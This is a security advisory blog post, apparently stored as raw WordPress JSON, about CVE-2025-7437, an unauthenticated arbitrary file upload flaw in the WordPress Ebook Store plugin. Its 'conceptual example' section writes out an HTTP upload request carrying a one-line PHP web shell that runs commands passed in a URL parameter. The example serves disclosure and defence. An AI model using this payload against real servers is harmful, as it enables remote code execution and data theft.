{"id":59740,"date":"2025-07-29T23:58:51","date_gmt":"2025-07-29T23:58:51","guid":{"rendered":""},"modified":"2025-08-09T06:11:30","modified_gmt":"2025-08-09T12:11:30","slug":"cve-2025-7437-high-risk-arbitrary-file-upload-vulnerability-in-wordpress-ebook-store-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-7437-high-risk-arbitrary-file-upload-vulnerability-in-wordpress-ebook-store-plugin\/","title":{"rendered":"<strong>CVE-2025-7437: High-Risk Arbitrary File Upload Vulnerability in WordPress Ebook Store Plugin<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A high-severity vulnerability, CVE-2025-7437, has been identified in the Ebook Store plugin for WordPress. This flaw allows unauthenticated attackers to upload arbitrary files due to missing file type validation, leading to potential system compromise or data leakage. This vulnerability has a wide impact as it affects all versions up to 5.8012 of the plugin, which is widely used by publishers and online stores on the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2015-10143-unauthorized-modification-vulnerability-in-wordpress-platform-theme\/\"  data-wpil-monitor-id=\"69002\">WordPress platform<\/a>. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27614-a-high-risk-gitk-vulnerability-enabling-system-compromise\/\"  data-wpil-monitor-id=\"70461\">vulnerability is particularly concerning due to its potential to enable<\/a> remote code execution if exploited successfully.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-7437<br \/>\nSeverity: Critical (9.8\/10)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43933-high-risk-vulnerability-leading-to-potential-system-compromise-via-password-reset-feature\/\"  data-wpil-monitor-id=\"70826\">Potential system compromise<\/a> or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1329676235\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Ebook Store <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5835-droip-plugin-for-wordpress-unauthorized-access-and-modification-vulnerability\/\"  data-wpil-monitor-id=\"68976\">Plugin for WordPress<\/a> | Up to and including 5.8012<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8279-critical-input-validation-vulnerability-in-gitlab-language-server\/\"  data-wpil-monitor-id=\"68807\">vulnerability lies in the ebook_store_save_form function which lacks proper validation<\/a> of file types. This allows an attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7340-critical-arbitrary-file-upload-vulnerability-in-ht-contact-form-widget-for-wordpress\/\"  data-wpil-monitor-id=\"66351\">upload any file<\/a> to the server, including executable files or scripts, without requiring any form of authentication. Once uploaded, these files can be triggered to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26074-remote-code-execution-vulnerability-in-orkes-conductor-v3-21-11\/\"  data-wpil-monitor-id=\"66057\">execute arbitrary code<\/a>, potentially gaining control over the server and enabling the attacker to access, modify, or delete data, or even create new accounts with full user rights.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3993939599\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a simplified, conceptual example of how an HTTP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36845-server-side-request-forgery-ssrf-vulnerability-in-eveo-urve-web-manager\/\"  data-wpil-monitor-id=\"70700\">request exploiting the vulnerability<\/a> might look. This example assumes the attacker is uploading a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52808-a-critical-php-remote-file-inclusion-vulnerability-in-realtyelite\/\"  data-wpil-monitor-id=\"65900\">PHP file that can enable remote<\/a> code execution:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/ebook-store\/upload.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;exploit.php&quot;\nContent-Type: application\/x-php\n&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>This request uploads a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49416-critical-php-remote-file-inclusion-vulnerability-in-fastw3b-llc-fw-gallery\/\"  data-wpil-monitor-id=\"66056\">PHP file<\/a> named &#8216;exploit.php&#8217; which, when accessed, would run any command passed via the &#8216;cmd&#8217; URL parameter.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The most effective mitigation is to apply the vendor-supplied patch. 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